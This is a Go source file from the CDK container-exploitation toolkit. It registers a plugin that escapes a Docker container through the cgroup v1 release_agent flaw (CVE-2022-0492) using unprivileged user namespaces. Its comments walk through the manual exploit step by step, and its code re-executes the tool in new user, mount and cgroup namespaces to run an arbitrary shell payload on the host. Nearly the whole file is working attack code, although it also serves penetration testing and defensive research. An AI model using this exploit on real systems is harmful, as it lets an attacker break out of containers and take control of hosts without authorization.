//go:build !no_abuse_unpriv_userns && linux
// +build !no_abuse_unpriv_userns,linux

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package escaping

import (
	"log"
	"os"
	"os/exec"
	"syscall"

	"github.com/cdk-team/CDK/pkg/exploit/base"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"golang.org/x/sys/unix"
)

// Contributor: kmahyyg & neargle

// reference:
// https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
// https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/
// https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492/blob/main/can-ctr-escape-cve-2022-0492.sh

// tested in ubuntu docker, only usable in cgroup v1 containers
// [host] sysctl -w kernel.unprivileged_userns_clone=1
// [host] docker run -v /root/cdk:/cdk --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash
// [inside container] ./cdk run abuse-unpriv-newns "touch /hacked"

// manual exploit:
// - set host `sysctl -w kernel.unprivileged_userns_clone=1`, which is default after linux 5.10 for most distros
// - run a container with `--security-opt seccomp=unconfined --security-opt apparmor=unconfined` using docker, make sure the user inside container is root.
//   apparmor should also be disabled.
// - check `/etc/mtab` for host_path: ` export host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` `
// - check `/proc/self/cgroup` for cgroup, select one under root, since release_agent is writable only in root cgroup.
//   hence, the only available cgroup is RDMA
// - create mountpoint `mkdir -p /mnt/cgrp1`
// - create new namespace `unshare -UrmC bash`
// - mount to corresponding path `mount -t cgroup -o rdma cgroup /mnt/cgrp1`
// - create subtasks cgroup `mkdir -p /mnt/cgrp1/x`
// - set notify_on_release to 1 `echo 1 > /mnt/cgrp1/x/notify_on_release`
// - set release_agent to `${host_path}/exp.sh` `echo ${host_path}/exp.sh > /mnt/cgrp1/release_agent`
// - write exploit code to /exp.sh in container
// - run `chmod +x /exp.sh`
// - create new process, add to new corresponding namespace, then exit.
//   sh -c "echo \$\$ > /mnt/cgrp1/x/cgroup.procs"
// - RDMA sub-cgroup will be released.
// - check result.

func UnprivUserNS(cmd string) error {
	// check cgroup version
	cgVer, err := util.GetCgroupVersion()
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "cannot determine cgroup version"}
	}
	if cgVer != 1 {
		return &errors.CDKRuntimeError{Err: nil, CustomMsg: "exploit only suitable for cgroup v1"}
	}

	// prerequisites satisfied, move current process in new user namespace
	// https://elixir.bootlin.com/linux/v5.16.13/source/kernel/fork.c#L2957
	// unshare can only be used in single-thread program. Golang program is always multi-thread.
	// related golang issue:
	// https://github.com/golang/go/issues/22283
	// https://github.com/golang/go/issues/12125 (not resolved yet)
	// more specifically: https://github.com/golang/go/issues/50098
	// golang contributor think that there's no possible solution until now (2022-3).
	curExePath, err := os.Executable()
	if err != nil {
		return &errors.CDKRuntimeError{
			Err:       err,
			CustomMsg: "cannot get current executable path",
		}
	}

	// by default, use "rdma" for kernel 4.x - 5.13, tested on 4.19/5.16
	// for 5.13+, use "misc"
	// But more precisely, check if any root cgroup is preferred.
	exploitSubSys := ""
	availSubSyses, err := util.GetAllCGroup()
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "cannot get cgroup info"}
	}
	for _, v := range availSubSyses {
		if v.CgroupPath == "/" {
			exploitSubSys = v.ControllerLst
			break
		}
	}
	if len(exploitSubSys) == 0 {
		return &errors.CDKRuntimeError{Err: nil, CustomMsg: "cannot find suitable subsystem for exploit"}
	}

	// start actual exploit
	reExecCmd := exec.Command(curExePath, "run", "mount-cgroup", cmd, exploitSubSys)
	// same way as call unshare
	reExecCmd.SysProcAttr = &syscall.SysProcAttr{
		Unshareflags: unix.CLONE_NEWUSER | unix.CLONE_NEWNS | unix.CLONE_NEWCGROUP,
		UidMappings: []syscall.SysProcIDMap{
			{ContainerID: 0, HostID: syscall.Geteuid(), Size: 1},
		},
		GidMappings: []syscall.SysProcIDMap{
			{ContainerID: 0, HostID: syscall.Getegid(), Size: 1},
		},
		GidMappingsEnableSetgroups: false,
		//  +  In the case of gid_map, use of the setgroups(2) system
		//     call must first be denied by writing "deny" to the
		//     /proc/[pid]/setgroups file (see below) before writing to
		//     gid_map.
		// https://man7.org/linux/man-pages/man7/user_namespaces.7.html
		// If this is not working, we have to let this process sleep and
		// get its PID, then manually execute the following commented code.
	}
	// redirect output to current tty
	reExecCmd.Stdout = os.Stdout
	reExecCmd.Stderr = os.Stderr

	//// call unshare then execute
	//// get current userid,groupid for mapping
	//uidMapStr := fmt.Sprintf("0 %d 1", os.Geteuid())
	//gidMapStr := fmt.Sprintf("0 %d 1", os.Getegid())
	//// reason above, strace `unshare` tell you to do that.
	//err = ioutil.WriteFile(fmt.Sprintf("/proc/%d/setgroups", reExecCmd.Process.Pid), []byte("deny"), 0644)
	//if err != nil {
	//	return &errors.CDKRuntimeError{
	//		Err:       err,
	//		CustomMsg: "gid_map setgroups failed",
	//	}
	//}
	//// set uid and gid mapping, so you have all the caps required in new namespace to mount.
	//err = ioutil.WriteFile(fmt.Sprintf("/proc/%d/uid_map", reExecCmd.Process.Pid), []byte(uidMapStr), 0644)
	//if err != nil {
	//	return &errors.CDKRuntimeError{
	//		Err:       err,
	//		CustomMsg: "set uid_map failed",
	//	}
	//}
	//err = ioutil.WriteFile(fmt.Sprintf("/proc/%d/gid_map", reExecCmd.Process.Pid), []byte(gidMapStr), 0644)
	//if err != nil {
	//	return &errors.CDKRuntimeError{
	//		Err:       err,
	//		CustomMsg: "set gid_map failed",
	//	}
	//}
	//// then execute mount-cgroup exploit with rdma subsystem

	err = reExecCmd.Run()
	return err
}

// exploit interface implementation

type ExploitUnprivUserNS struct{ base.BaseExploit }

func (exp ExploitUnprivUserNS) Desc() string {
	return "abuse mount-cgroup co-operating with unprivileged user namespace creation. usage: ./cdk run abuse-unpriv-userns \"shell-cmd-payloads\""
}

func (exp ExploitUnprivUserNS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 1 {
		log.Println("Invalid Input Args.")
		log.Fatal(exp.Desc())
	}
	cmd := args[0]
	log.Printf("User-Defined Shell Payload: %s \n", cmd)
	err := UnprivUserNS(cmd)
	if err != nil {
		log.Println(err)
		return false
	}
	return true
}

func init() {
	exploit := ExploitUnprivUserNS{}
	exploit.ExploitType = "escaping"
	plugin.RegisterExploit("abuse-unpriv-userns", exploit)
}
